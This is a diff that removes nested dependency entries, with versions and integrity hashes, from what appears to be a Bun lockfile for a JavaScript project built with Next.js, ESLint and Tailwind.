- "jsx-ast-utils/array-includes": ["array-includes@3.1.8", "", { "dependencies": { "call-bind": "^1.0.7", "define-properties": "^1.2.1", "es-abstract": "^1.23.2", "es-object-atoms": "^1.0.0", "get-intrinsic": "^1.2.4", "is-string": "^1.0.7" } }, "sha512-itaWrbYbqpGXkGhZPGUulwnhVf5Hpy1xiCFsGqyIGglbBxmG5vSjxQen3/WGOjPpNEv1RtBLKxbmVXm8HpJStQ=="],
-
- "jsx-ast-utils/array.prototype.flat": ["array.prototype.flat@1.3.2", "", { "dependencies": { "call-bind": "^1.0.2", "define-properties": "^1.2.0", "es-abstract": "^1.22.1", "es-shim-unscopables": "^1.0.0" } }, "sha512-djYB+Zx2vLewY8RWlNCUdHjDXs2XOgm602S9E7P/UpHgfeHL00cRiIF+IN/G/aUJ7kGPb6yO/ErDI5V2s8iycA=="],
-
- "jsx-ast-utils/object.values": ["object.values@1.2.0", "", { "dependencies": { "call-bind": "^1.0.7", "define-properties": "^1.2.1", "es-object-atoms": "^1.0.0" } }, "sha512-yBYjY9QX2hnRmZHAjG/f13MzmBzxzYgQhFrke06TTyKY5zSTEqkOeukBzIdVA3j3ulu8Qa3MbVFShV7T2RmGtQ=="],
-
- "next/postcss": ["postcss@8.4.31", "", { "dependencies": { "nanoid": "^3.3.6", "picocolors": "^1.0.0", "source-map-js": "^1.0.2" } }, "sha512-PS08Iboia9mts/2ygV3eLpY5ghnUcfLV/EXTOW1E2qYxJKGGBUtNjN76FYHnMs36RmARn41bC0AZmn+rR0OVpQ=="],
-
- "nypm/citty": ["citty@0.2.2", "", {}, "sha512-+6vJA3L98yv+IdfKGZHBNiGW5KHn22e/JwID0Strsz8h4S/csAu/OuICwxrg44k5MRiZHWIo8XXuJgQTriRP4w=="],
-
- "object.assign/call-bind": ["call-bind@1.0.7", "", { "dependencies": { "es-define-property": "^1.0.0", "es-errors": "^1.3.0", "function-bind": "^1.1.2", "get-intrinsic": "^1.2.4", "set-function-length": "^1.2.1" } }, "sha512-GHTSNSYICQ7scH7sZ+M2rFopRoLh8t2bLSW6BbgrtLsahOIB5iyAVJf9GjWK3cYTDaMj4XdBpM1cA6pIS0Kv2w=="],
-
- "object.entries/call-bind": ["call-bind@1.0.7", "", { "dependencies": { "es-define-property": "^1.0.0", "es-errors": "^1.3.0", "function-bind": "^1.1.2", "get-intrinsic": "^1.2.4", "set-function-length": "^1.2.1" } }, "sha512-GHTSNSYICQ7scH7sZ+M2rFopRoLh8t2bLSW6BbgrtLsahOIB5iyAVJf9GjWK3cYTDaMj4XdBpM1cA6pIS0Kv2w=="],
-
- "object.entries/es-object-atoms": ["es-object-atoms@1.0.0", "", { "dependencies": { "es-errors": "^1.3.0" } }, "sha512-MZ4iQ6JwHOBQjahnjwaC1ZtIBH+2ohjamzAO3oaHcXYup7qxjF2fixyH+Q71voWHeOkI2q/TnJao/KfXYIZWbw=="],
-
- "object.fromentries/call-bind": ["call-bind@1.0.7", "", { "dependencies": { "es-define-property": "^1.0.0", "es-errors": "^1.3.0", "function-bind": "^1.1.2", "get-intrinsic": "^1.2.4", "set-function-length": "^1.2.1" } }, "sha512-GHTSNSYICQ7scH7sZ+M2rFopRoLh8t2bLSW6BbgrtLsahOIB5iyAVJf9GjWK3cYTDaMj4XdBpM1cA6pIS0Kv2w=="],
-
- "object.fromentries/es-abstract": ["es-abstract@1.23.5", "", { "dependencies": { "array-buffer-byte-length": "^1.0.1", "arraybuffer.prototype.slice": "^1.0.3", "available-typed-arrays": "^1.0.7", "call-bind": "^1.0.7", "data-view-buffer": "^1.0.1", "data-view-byte-length": "^1.0.1", "data-view-byte-offset": "^1.0.0", "es-define-property": "^1.0.0", "es-errors": "^1.3.0", "es-object-atoms": "^1.0.0", "es-set-tostringtag": "^2.0.3", "es-to-primitive": "^1.2.1", "function.prototype.name": "^1.1.6", "get-intrinsic": "^1.2.4", "get-symbol-description": "^1.0.2", "globalthis": "^1.0.4", "gopd": "^1.0.1", "has-property-descriptors": "^1.0.2", "has-proto": "^1.0.3", "has-symbols": "^1.0.3", "hasown": "^2.0.2", "internal-slot": "^1.0.7", "is-array-buffer": "^3.0.4", "is-callable": "^1.2.7", "is-data-view": "^1.0.1", "is-negative-zero": "^2.0.3", "is-regex": "^1.1.4", "is-shared-array-buffer": "^1.0.3", "is-string": "^1.0.7", "is-typed-array": "^1.1.13", "is-weakref": "^1.0.2", "object-inspect": "^1.13.3", "object-keys": "^1.1.1", "object.assign": "^4.1.5", "regexp.prototype.flags": "^1.5.3", "safe-array-concat": "^1.1.2", "safe-regex-test": "^1.0.3", "string.prototype.trim": "^1.2.9", "string.prototype.trimend": "^1.0.8", "string.prototype.trimstart": "^1.0.8", "typed-array-buffer": "^1.0.2", "typed-array-byte-length": "^1.0.1", "typed-array-byte-offset": "^1.0.2", "typed-array-length": "^1.0.6", "unbox-primitive": "^1.0.2", "which-typed-array": "^1.1.15" } }, "sha512-vlmniQ0WNPwXqA0BnmwV3Ng7HxiGlh6r5U6JcTMNx8OilcAGqVJBHJcPjqOMaczU9fRuRK5Px2BdVyPRnKMMVQ=="],
-
- "object.fromentries/es-object-atoms": ["es-object-atoms@1.0.0", "", { "dependencies": { "es-errors": "^1.3.0" } }, "sha512-MZ4iQ6JwHOBQjahnjwaC1ZtIBH+2ohjamzAO3oaHcXYup7qxjF2fixyH+Q71voWHeOkI2q/TnJao/KfXYIZWbw=="],
-
- "object.groupby/call-bind": ["call-bind@1.0.7", "", { "dependencies": { "es-define-property": "^1.0.0", "es-errors": "^1.3.0", "function-bind": "^1.1.2", "get-intrinsic": "^1.2.4", "set-function-length": "^1.2.1" } }, "sha512-GHTSNSYICQ7scH7sZ+M2rFopRoLh8t2bLSW6BbgrtLsahOIB5iyAVJf9GjWK3cYTDaMj4XdBpM1cA6pIS0Kv2w=="],
-
- "object.groupby/es-abstract": ["es-abstract@1.23.5", "", { "dependencies": { "array-buffer-byte-length": "^1.0.1", "arraybuffer.prototype.slice": "^1.0.3", "available-typed-arrays": "^1.0.7", "call-bind": "^1.0.7", "data-view-buffer": "^1.0.1", "data-view-byte-length": "^1.0.1", "data-view-byte-offset": "^1.0.0", "es-define-property": "^1.0.0", "es-errors": "^1.3.0", "es-object-atoms": "^1.0.0", "es-set-tostringtag": "^2.0.3", "es-to-primitive": "^1.2.1", "function.prototype.name": "^1.1.6", "get-intrinsic": "^1.2.4", "get-symbol-description": "^1.0.2", "globalthis": "^1.0.4", "gopd": "^1.0.1", "has-property-descriptors": "^1.0.2", "has-proto": "^1.0.3", "has-symbols": "^1.0.3", "hasown": "^2.0.2", "internal-slot": "^1.0.7", "is-array-buffer": "^3.0.4", "is-callable": "^1.2.7", "is-data-view": "^1.0.1", "is-negative-zero": "^2.0.3", "is-regex": "^1.1.4", "is-shared-array-buffer": "^1.0.3", "is-string": "^1.0.7", "is-typed-array": "^1.1.13", "is-weakref": "^1.0.2", "object-inspect": "^1.13.3", "object-keys": "^1.1.1", "object.assign": "^4.1.5", "regexp.prototype.flags": "^1.5.3", "safe-array-concat": "^1.1.2", "safe-regex-test": "^1.0.3", "string.prototype.trim": "^1.2.9", "string.prototype.trimend": "^1.0.8", "string.prototype.trimstart": "^1.0.8", "typed-array-buffer": "^1.0.2", "typed-array-byte-length": "^1.0.1", "typed-array-byte-offset": "^1.0.2", "typed-array-length": "^1.0.6", "unbox-primitive": "^1.0.2", "which-typed-array": "^1.1.15" } }, "sha512-vlmniQ0WNPwXqA0BnmwV3Ng7HxiGlh6r5U6JcTMNx8OilcAGqVJBHJcPjqOMaczU9fRuRK5Px2BdVyPRnKMMVQ=="],
-
- "reflect.getprototypeof/call-bind": ["call-bind@1.0.7", "", { "dependencies": { "es-define-property": "^1.0.0", "es-errors": "^1.3.0", "function-bind": "^1.1.2", "get-intrinsic": "^1.2.4", "set-function-length": "^1.2.1" } }, "sha512-GHTSNSYICQ7scH7sZ+M2rFopRoLh8t2bLSW6BbgrtLsahOIB5iyAVJf9GjWK3cYTDaMj4XdBpM1cA6pIS0Kv2w=="],
-
- "reflect.getprototypeof/es-abstract": ["es-abstract@1.23.5", "", { "dependencies": { "array-buffer-byte-length": "^1.0.1", "arraybuffer.prototype.slice": "^1.0.3", "available-typed-arrays": "^1.0.7", "call-bind": "^1.0.7", "data-view-buffer": "^1.0.1", "data-view-byte-length": "^1.0.1", "data-view-byte-offset": "^1.0.0", "es-define-property": "^1.0.0", "es-errors": "^1.3.0", "es-object-atoms": "^1.0.0", "es-set-tostringtag": "^2.0.3", "es-to-primitive": "^1.2.1", "function.prototype.name": "^1.1.6", "get-intrinsic": "^1.2.4", "get-symbol-description": "^1.0.2", "globalthis": "^1.0.4", "gopd": "^1.0.1", "has-property-descriptors": "^1.0.2", "has-proto": "^1.0.3", "has-symbols": "^1.0.3", "hasown": "^2.0.2", "internal-slot": "^1.0.7", "is-array-buffer": "^3.0.4", "is-callable": "^1.2.7", "is-data-view": "^1.0.1", "is-negative-zero": "^2.0.3", "is-regex": "^1.1.4", "is-shared-array-buffer": "^1.0.3", "is-string": "^1.0.7", "is-typed-array": "^1.1.13", "is-weakref": "^1.0.2", "object-inspect": "^1.13.3", "object-keys": "^1.1.1", "object.assign": "^4.1.5", "regexp.prototype.flags": "^1.5.3", "safe-array-concat": "^1.1.2", "safe-regex-test": "^1.0.3", "string.prototype.trim": "^1.2.9", "string.prototype.trimend": "^1.0.8", "string.prototype.trimstart": "^1.0.8", "typed-array-buffer": "^1.0.2", "typed-array-byte-length": "^1.0.1", "typed-array-byte-offset": "^1.0.2", "typed-array-length": "^1.0.6", "unbox-primitive": "^1.0.2", "which-typed-array": "^1.1.15" } }, "sha512-vlmniQ0WNPwXqA0BnmwV3Ng7HxiGlh6r5U6JcTMNx8OilcAGqVJBHJcPjqOMaczU9fRuRK5Px2BdVyPRnKMMVQ=="],
-
- "reflect.getprototypeof/get-intrinsic": ["get-intrinsic@1.2.4", "", { "dependencies": { "es-errors": "^1.3.0", "function-bind": "^1.1.2", "has-proto": "^1.0.1", "has-symbols": "^1.0.3", "hasown": "^2.0.0" } }, "sha512-5uYhsJH8VJBTv7oslg4BznJYhDoRI6waYCxMmCdnTrcCrHA/fCFKoTFz2JKKE0HdDFUF7/oQuhzumXJK7paBRQ=="],
-
- "regexp.prototype.flags/call-bind": ["call-bind@1.0.7", "", { "dependencies": { "es-define-property": "^1.0.0", "es-errors": "^1.3.0", "function-bind": "^1.1.2", "get-intrinsic": "^1.2.4", "set-function-length": "^1.2.1" } }, "sha512-GHTSNSYICQ7scH7sZ+M2rFopRoLh8t2bLSW6BbgrtLsahOIB5iyAVJf9GjWK3cYTDaMj4XdBpM1cA6pIS0Kv2w=="],
-
- "safe-array-concat/call-bind": ["call-bind@1.0.7", "", { "dependencies": { "es-define-property": "^1.0.0", "es-errors": "^1.3.0", "function-bind": "^1.1.2", "get-intrinsic": "^1.2.4", "set-function-length": "^1.2.1" } }, "sha512-GHTSNSYICQ7scH7sZ+M2rFopRoLh8t2bLSW6BbgrtLsahOIB5iyAVJf9GjWK3cYTDaMj4XdBpM1cA6pIS0Kv2w=="],
-
- "safe-array-concat/get-intrinsic": ["get-intrinsic@1.2.4", "", { "dependencies": { "es-errors": "^1.3.0", "function-bind": "^1.1.2", "has-proto": "^1.0.1", "has-symbols": "^1.0.3", "hasown": "^2.0.0" } }, "sha512-5uYhsJH8VJBTv7oslg4BznJYhDoRI6waYCxMmCdnTrcCrHA/fCFKoTFz2JKKE0HdDFUF7/oQuhzumXJK7paBRQ=="],
-
- "safe-regex-test/call-bind": ["call-bind@1.0.7", "", { "dependencies": { "es-define-property": "^1.0.0", "es-errors": "^1.3.0", "function-bind": "^1.1.2", "get-intrinsic": "^1.2.4", "set-function-length": "^1.2.1" } }, "sha512-GHTSNSYICQ7scH7sZ+M2rFopRoLh8t2bLSW6BbgrtLsahOIB5iyAVJf9GjWK3cYTDaMj4XdBpM1cA6pIS0Kv2w=="],
-
- "set-function-length/get-intrinsic": ["get-intrinsic@1.2.4", "", { "dependencies": { "es-errors": "^1.3.0", "function-bind": "^1.1.2", "has-proto": "^1.0.1", "has-symbols": "^1.0.3", "hasown": "^2.0.0" } }, "sha512-5uYhsJH8VJBTv7oslg4BznJYhDoRI6waYCxMmCdnTrcCrHA/fCFKoTFz2JKKE0HdDFUF7/oQuhzumXJK7paBRQ=="],
-
- "sharp/semver": ["semver@7.7.4", "", { "bin": { "semver": "bin/semver.js" } }, "sha512-vFKC2IEtQnVhpT78h1Yp8wzwrf8CM+MzKMHGJZfBtzhZNycRFnXsHk6E5TxIkkMsgNS7mdX3AGB7x2QM2di4lA=="],
-
- "side-channel/call-bind": ["call-bind@1.0.7", "", { "dependencies": { "es-define-property": "^1.0.0", "es-errors": "^1.3.0", "function-bind": "^1.1.2", "get-intrinsic": "^1.2.4", "set-function-length": "^1.2.1" } }, "sha512-GHTSNSYICQ7scH7sZ+M2rFopRoLh8t2bLSW6BbgrtLsahOIB5iyAVJf9GjWK3cYTDaMj4XdBpM1cA6pIS0Kv2w=="],
-
- "side-channel/get-intrinsic": ["get-intrinsic@1.2.4", "", { "dependencies": { "es-errors": "^1.3.0", "function-bind": "^1.1.2", "has-proto": "^1.0.1", "has-symbols": "^1.0.3", "hasown": "^2.0.0" } }, "sha512-5uYhsJH8VJBTv7oslg4BznJYhDoRI6waYCxMmCdnTrcCrHA/fCFKoTFz2JKKE0HdDFUF7/oQuhzumXJK7paBRQ=="],
-
- "side-channel/object-inspect": ["object-inspect@1.13.3", "", {}, "sha512-kDCGIbxkDSXE3euJZZXzc6to7fCrKHNI/hSRQnRuQ+BWjFNzZwiFF8fj/6o2t2G9/jTj8PSIYTfCLelLZEeRpA=="],
-
- "stop-iteration-iterator/internal-slot": ["internal-slot@1.1.0", "", { "dependencies": { "es-errors": "^1.3.0", "hasown": "^2.0.2", "side-channel": "^1.1.0" } }, "sha512-4gd7VpWNQNB4UKKCFFVcp1AVv+FMOgs9NKzjHKusc8jTMhd5eL1NqQqOpE0KzMds804/yHlglp3uxgluOqAPLw=="],
-
- "string-width/emoji-regex": ["emoji-regex@8.0.0", "", {}, "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A=="],
-
- "string.prototype.includes/call-bind": ["call-bind@1.0.7", "", { "dependencies": { "es-define-property": "^1.0.0", "es-errors": "^1.3.0", "function-bind": "^1.1.2", "get-intrinsic": "^1.2.4", "set-function-length": "^1.2.1" } }, "sha512-GHTSNSYICQ7scH7sZ+M2rFopRoLh8t2bLSW6BbgrtLsahOIB5iyAVJf9GjWK3cYTDaMj4XdBpM1cA6pIS0Kv2w=="],
-
- "string.prototype.includes/es-abstract": ["es-abstract@1.23.5", "", { "dependencies": { "array-buffer-byte-length": "^1.0.1", "arraybuffer.prototype.slice": "^1.0.3", "available-typed-arrays": "^1.0.7", "call-bind": "^1.0.7", "data-view-buffer": "^1.0.1", "data-view-byte-length": "^1.0.1", "data-view-byte-offset": "^1.0.0", "es-define-property": "^1.0.0", "es-errors": "^1.3.0", "es-object-atoms": "^1.0.0", "es-set-tostringtag": "^2.0.3", "es-to-primitive": "^1.2.1", "function.prototype.name": "^1.1.6", "get-intrinsic": "^1.2.4", "get-symbol-description": "^1.0.2", "globalthis": "^1.0.4", "gopd": "^1.0.1", "has-property-descriptors": "^1.0.2", "has-proto": "^1.0.3", "has-symbols": "^1.0.3", "hasown": "^2.0.2", "internal-slot": "^1.0.7", "is-array-buffer": "^3.0.4", "is-callable": "^1.2.7", "is-data-view": "^1.0.1", "is-negative-zero": "^2.0.3", "is-regex": "^1.1.4", "is-shared-array-buffer": "^1.0.3", "is-string": "^1.0.7", "is-typed-array": "^1.1.13", "is-weakref": "^1.0.2", "object-inspect": "^1.13.3", "object-keys": "^1.1.1", "object.assign": "^4.1.5", "regexp.prototype.flags": "^1.5.3", "safe-array-concat": "^1.1.2", "safe-regex-test": "^1.0.3", "string.prototype.trim": "^1.2.9", "string.prototype.trimend": "^1.0.8", "string.prototype.trimstart": "^1.0.8", "typed-array-buffer": "^1.0.2", "typed-array-byte-length": "^1.0.1", "typed-array-byte-offset": "^1.0.2", "typed-array-length": "^1.0.6", "unbox-primitive": "^1.0.2", "which-typed-array": "^1.1.15" } }, "sha512-vlmniQ0WNPwXqA0BnmwV3Ng7HxiGlh6r5U6JcTMNx8OilcAGqVJBHJcPjqOMaczU9fRuRK5Px2BdVyPRnKMMVQ=="],
-
- "string.prototype.matchall/call-bind": ["call-bind@1.0.7", "", { "dependencies": { "es-define-property": "^1.0.0", "es-errors": "^1.3.0", "function-bind": "^1.1.2", "get-intrinsic": "^1.2.4", "set-function-length": "^1.2.1" } }, "sha512-GHTSNSYICQ7scH7sZ+M2rFopRoLh8t2bLSW6BbgrtLsahOIB5iyAVJf9GjWK3cYTDaMj4XdBpM1cA6pIS0Kv2w=="],
-
- "string.prototype.matchall/es-abstract": ["es-abstract@1.23.5", "", { "dependencies": { "array-buffer-byte-length": "^1.0.1", "arraybuffer.prototype.slice": "^1.0.3", "available-typed-arrays": "^1.0.7", "call-bind": "^1.0.7", "data-view-buffer": "^1.0.1", "data-view-byte-length": "^1.0.1", "data-view-byte-offset": "^1.0.0", "es-define-property": "^1.0.0", "es-errors": "^1.3.0", "es-object-atoms": "^1.0.0", "es-set-tostringtag": "^2.0.3", "es-to-primitive": "^1.2.1", "function.prototype.name": "^1.1.6", "get-intrinsic": "^1.2.4", "get-symbol-description": "^1.0.2", "globalthis": "^1.0.4", "gopd": "^1.0.1", "has-property-descriptors": "^1.0.2", "has-proto": "^1.0.3", "has-symbols": "^1.0.3", "hasown": "^2.0.2", "internal-slot": "^1.0.7", "is-array-buffer": "^3.0.4", "is-callable": "^1.2.7", "is-data-view": "^1.0.1", "is-negative-zero": "^2.0.3", "is-regex": "^1.1.4", "is-shared-array-buffer": "^1.0.3", "is-string": "^1.0.7", "is-typed-array": "^1.1.13", "is-weakref": "^1.0.2", "object-inspect": "^1.13.3", "object-keys": "^1.1.1", "object.assign": "^4.1.5", "regexp.prototype.flags": "^1.5.3", "safe-array-concat": "^1.1.2", "safe-regex-test": "^1.0.3", "string.prototype.trim": "^1.2.9", "string.prototype.trimend": "^1.0.8", "string.prototype.trimstart": "^1.0.8", "typed-array-buffer": "^1.0.2", "typed-array-byte-length": "^1.0.1", "typed-array-byte-offset": "^1.0.2", "typed-array-length": "^1.0.6", "unbox-primitive": "^1.0.2", "which-typed-array": "^1.1.15" } }, "sha512-vlmniQ0WNPwXqA0BnmwV3Ng7HxiGlh6r5U6JcTMNx8OilcAGqVJBHJcPjqOMaczU9fRuRK5Px2BdVyPRnKMMVQ=="],
-
- "string.prototype.matchall/es-object-atoms": ["es-object-atoms@1.0.0", "", { "dependencies": { "es-errors": "^1.3.0" } }, "sha512-MZ4iQ6JwHOBQjahnjwaC1ZtIBH+2ohjamzAO3oaHcXYup7qxjF2fixyH+Q71voWHeOkI2q/TnJao/KfXYIZWbw=="],
-
- "string.prototype.matchall/get-intrinsic": ["get-intrinsic@1.2.4", "", { "dependencies": { "es-errors": "^1.3.0", "function-bind": "^1.1.2", "has-proto": "^1.0.1", "has-symbols": "^1.0.3", "hasown": "^2.0.0" } }, "sha512-5uYhsJH8VJBTv7oslg4BznJYhDoRI6waYCxMmCdnTrcCrHA/fCFKoTFz2JKKE0HdDFUF7/oQuhzumXJK7paBRQ=="],
-
- "string.prototype.repeat/es-abstract": ["es-abstract@1.23.5", "", { "dependencies": { "array-buffer-byte-length": "^1.0.1", "arraybuffer.prototype.slice": "^1.0.3", "available-typed-arrays": "^1.0.7", "call-bind": "^1.0.7", "data-view-buffer": "^1.0.1", "data-view-byte-length": "^1.0.1", "data-view-byte-offset": "^1.0.0", "es-define-property": "^1.0.0", "es-errors": "^1.3.0", "es-object-atoms": "^1.0.0", "es-set-tostringtag": "^2.0.3", "es-to-primitive": "^1.2.1", "function.prototype.name": "^1.1.6", "get-intrinsic": "^1.2.4", "get-symbol-description": "^1.0.2", "globalthis": "^1.0.4", "gopd": "^1.0.1", "has-property-descriptors": "^1.0.2", "has-proto": "^1.0.3", "has-symbols": "^1.0.3", "hasown": "^2.0.2", "internal-slot": "^1.0.7", "is-array-buffer": "^3.0.4", "is-callable": "^1.2.7", "is-data-view": "^1.0.1", "is-negative-zero": "^2.0.3", "is-regex": "^1.1.4", "is-shared-array-buffer": "^1.0.3", "is-string": "^1.0.7", "is-typed-array": "^1.1.13", "is-weakref": "^1.0.2", "object-inspect": "^1.13.3", "object-keys": "^1.1.1", "object.assign": "^4.1.5", "regexp.prototype.flags": "^1.5.3", "safe-array-concat": "^1.1.2", "safe-regex-test": "^1.0.3", "string.prototype.trim": "^1.2.9", "string.prototype.trimend": "^1.0.8", "string.prototype.trimstart": "^1.0.8", "typed-array-buffer": "^1.0.2", "typed-array-byte-length": "^1.0.1", "typed-array-byte-offset": "^1.0.2", "typed-array-length": "^1.0.6", "unbox-primitive": "^1.0.2", "which-typed-array": "^1.1.15" } }, "sha512-vlmniQ0WNPwXqA0BnmwV3Ng7HxiGlh6r5U6JcTMNx8OilcAGqVJBHJcPjqOMaczU9fRuRK5Px2BdVyPRnKMMVQ=="],
-
- "string.prototype.trimstart/call-bind": ["call-bind@1.0.7", "", { "dependencies": { "es-define-property": "^1.0.0", "es-errors": "^1.3.0", "function-bind": "^1.1.2", "get-intrinsic": "^1.2.4", "set-function-length": "^1.2.1" } }, "sha512-GHTSNSYICQ7scH7sZ+M2rFopRoLh8t2bLSW6BbgrtLsahOIB5iyAVJf9GjWK3cYTDaMj4XdBpM1cA6pIS0Kv2w=="],
-
- "string.prototype.trimstart/es-object-atoms": ["es-object-atoms@1.0.0", "", { "dependencies": { "es-errors": "^1.3.0" } }, "sha512-MZ4iQ6JwHOBQjahnjwaC1ZtIBH+2ohjamzAO3oaHcXYup7qxjF2fixyH+Q71voWHeOkI2q/TnJao/KfXYIZWbw=="],
-
- "tailwindcss/postcss": ["postcss@8.5.9", "", { "dependencies": { "nanoid": "^3.3.11", "picocolors": "^1.1.1", "source-map-js": "^1.2.1" } }, "sha512-7a70Nsot+EMX9fFU3064K/kdHWZqGVY+BADLyXc8Dfv+mTLLVl6JzJpPaCZ2kQL9gIJvKXSLMHhqdRRjwQeFtw=="],
-
- "tsconfig-paths/json5": ["json5@1.0.2", "", { "dependencies": { "minimist": "^1.2.0" }, "bin": "lib/cli.js" }, "sha512-g1MWMLBiz8FKi1e4w0UyVL3w+iJceWAFBAaBnnGKOpNa5f8TLktkbre1+s6oICydWAm+HRUGTmI+//xv2hvXYA=="],
-
- "typed-array-byte-length/gopd": ["gopd@1.2.0", "", {}, "sha512-ZUKRh6/kUFoAiTAtTYPZJ3hw9wNxx+BIBOijnlG9PnrJsCcSjs1wyyD6vJpaYtgnzDrKYRSqf3OO6Rfa93xsRg=="],
-
- "typed-array-byte-length/has-proto": ["has-proto@1.2.0", "", { "dependencies": { "dunder-proto": "^1.0.0" } }, "sha512-KIL7eQPfHQRC8+XluaIw7BHUwwqL19bQn4hzNgdr+1wXoU0KKj6rufu47lhY7KbJR2C6T6+PfyN0Ea7wkSS+qQ=="],
-
- "typed-array-byte-offset/gopd": ["gopd@1.2.0", "", {}, "sha512-ZUKRh6/kUFoAiTAtTYPZJ3hw9wNxx+BIBOijnlG9PnrJsCcSjs1wyyD6vJpaYtgnzDrKYRSqf3OO6Rfa93xsRg=="],
-
- "typed-array-byte-offset/has-proto": ["has-proto@1.2.0", "", { "dependencies": { "dunder-proto": "^1.0.0" } }, "sha512-KIL7eQPfHQRC8+XluaIw7BHUwwqL19bQn4hzNgdr+1wXoU0KKj6rufu47lhY7KbJR2C6T6+PfyN0Ea7wkSS+qQ=="],
-
- "typed-array-byte-offset/reflect.getprototypeof": ["reflect.getprototypeof@1.0.10", "", { "dependencies": { "call-bind": "^1.0.8", "define-properties": "^1.2.1", "es-abstract": "^1.23.9", "es-errors": "^1.3.0", "es-object-atoms": "^1.0.0", "get-intrinsic": "^1.2.7", "get-proto": "^1.0.1", "which-builtin-type": "^1.2.1" } }, "sha512-00o4I+DVrefhv+nX0ulyi3biSHCPDe+yLv5o/p6d/UVlirijB8E16FtfwSAi4g3tcqrQ4lRAqQSoFEZJehYEcw=="],
-
- "typed-array-length/call-bind": ["call-bind@1.0.7", "", { "dependencies": { "es-define-property": "^1.0.0", "es-errors": "^1.3.0", "function-bind": "^1.1.2", "get-intrinsic": "^1.2.4", "set-function-length": "^1.2.1" } }, "sha512-GHTSNSYICQ7scH7sZ+M2rFopRoLh8t2bLSW6BbgrtLsahOIB5iyAVJf9GjWK3cYTDaMj4XdBpM1cA6pIS0Kv2w=="],
-
- "typed-array-length/for-each": ["for-each@0.3.3", "", { "dependencies": { "is-callable": "^1.1.3" } }, "sha512-jqYfLp7mo9vIyQf8ykW2v7A+2N4QjeCeI5+Dz9XraiO1ign81wjiH7Fb9vSOWvQfNtmSa4H2RoQTrrXivdUZmw=="],
-
- "typed-array-length/is-typed-array": ["is-typed-array@1.1.13", "", { "dependencies": { "which-typed-array": "^1.1.14" } }, "sha512-uZ25/bUAlUY5fR4OKT4rZQEBrzQWYV9ZJYGGsUmEJ6thodVJ1HX64ePQ6Z0qPWP+m+Uq6e9UugrE38jeYsDSMw=="],
-
- "unbox-primitive/has-symbols": ["has-symbols@1.1.0", "", {}, "sha512-1cDNdwJ2Jaohmb3sg4OmKaMBwuC48sYni5HUw2DvsC8LjGTLK9h+eb1X6RyuOHe4hT0ULCW68iomhjUoKUqlPQ=="],
-
- "which-boxed-primitive/is-symbol": ["is-symbol@1.1.1", "", { "dependencies": { "call-bound": "^1.0.2", "has-symbols": "^1.1.0", "safe-regex-test": "^1.1.0" } }, "sha512-9gGx6GTtCQM73BgmHQXfDmLtfjjTUDSyoxTCbp5WtoixAhfgsDirWIcVQ/IHpvI5Vgd5i/J5F7B9cN/WlVbC/w=="],
-
- "which-builtin-type/call-bind": ["call-bind@1.0.7", "", { "dependencies": { "es-define-property": "^1.0.0", "es-errors": "^1.3.0", "function-bind": "^1.1.2", "get-intrinsic": "^1.2.4", "set-function-length": "^1.2.1" } }, "sha512-GHTSNSYICQ7scH7sZ+M2rFopRoLh8t2bLSW6BbgrtLsahOIB5iyAVJf9GjWK3cYTDaMj4XdBpM1cA6pIS0Kv2w=="],
-
- "which-builtin-type/function.prototype.name": ["function.prototype.name@1.1.6", "", { "dependencies": { "call-bind": "^1.0.2", "define-properties": "^1.2.0", "es-abstract": "^1.22.1", "functions-have-names": "^1.2.3" } }, "sha512-Z5kx79swU5P27WEayXM1tBi5Ze/lbIyiNgU3qyXUOf9b2rgXYyF9Dy9Cx+IQv/Lc8WCG6L82zwUPpSS9hGehIg=="],
-
- "which-builtin-type/is-weakref": ["is-weakref@1.0.2", "", { "dependencies": { "call-bind": "^1.0.2" } }, "sha512-qctsuLZmIQ0+vSSMfoVvyFe2+GSEvnmZ2ezTup1SBse9+twCCeial6EEi3Nc2KFcf6+qz2FBPnjXsk8xhKSaPQ=="],
-
- "which-builtin-type/which-boxed-primitive": ["which-boxed-primitive@1.0.2", "", { "dependencies": { "is-bigint": "^1.0.1", "is-boolean-object": "^1.1.0", "is-number-object": "^1.0.4", "is-string": "^1.0.5", "is-symbol": "^1.0.3" } }, "sha512-bwZdv0AKLpplFY2KZRX6TvyuN7ojjr7lwkg6ml0roIy9YeuSr7JS372qlNW18UQYzgYK9ziGcerWqZOmEn9VNg=="],
-
- "which-builtin-type/which-typed-array": ["which-typed-array@1.1.15", "", { "dependencies": { "available-typed-arrays": "^1.0.7", "call-bind": "^1.0.7", "for-each": "^0.3.3", "gopd": "^1.0.1", "has-tostringtag": "^1.0.2" } }, "sha512-oV0jmFtUky6CXfkqehVvBP/LSWJ2sy4vWMioiENyJLePrBO/yKyV9OyJySfAKosh+RYkIl5zJCNZ8/4JncrpdA=="],
-
- "which-typed-array/gopd": ["gopd@1.2.0", "", {}, "sha512-ZUKRh6/kUFoAiTAtTYPZJ3hw9wNxx+BIBOijnlG9PnrJsCcSjs1wyyD6vJpaYtgnzDrKYRSqf3OO6Rfa93xsRg=="],
-
- "@eslint/eslintrc/js-yaml/argparse": ["argparse@2.0.1", "", {}, "sha512-8+9WqebbFzpX9OR+Wa6O29asIogeRMzcGtAINdpMHHyAg10f05aSFVBbcEqGf/PXw1EjAZ+q2/bEBg3DvurK3Q=="],
-
- "@next/eslint-plugin-next/fast-glob/glob-parent": ["glob-parent@5.1.2", "", { "dependencies": { "is-glob": "^4.0.1" } }, "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow=="],
-
- "array.prototype.findlast/call-bind/es-define-property": ["es-define-property@1.0.0", "", { "dependencies": { "get-intrinsic": "^1.2.4" } }, "sha512-jxayLKShrEqqzJ0eumQbVhTYQM27CfT1T35+gCgDFoL82JLsXqTJ76zv6A0YLOgEnLUMvLzsDsGIrl8NFpT2gQ=="],
-
- "array.prototype.findlast/call-bind/get-intrinsic": ["get-intrinsic@1.2.4", "", { "dependencies": { "es-errors": "^1.3.0", "function-bind": "^1.1.2", "has-proto": "^1.0.1", "has-symbols": "^1.0.3", "hasown": "^2.0.0" } }, "sha512-5uYhsJH8VJBTv7oslg4BznJYhDoRI6waYCxMmCdnTrcCrHA/fCFKoTFz2JKKE0HdDFUF7/oQuhzumXJK7paBRQ=="],
-
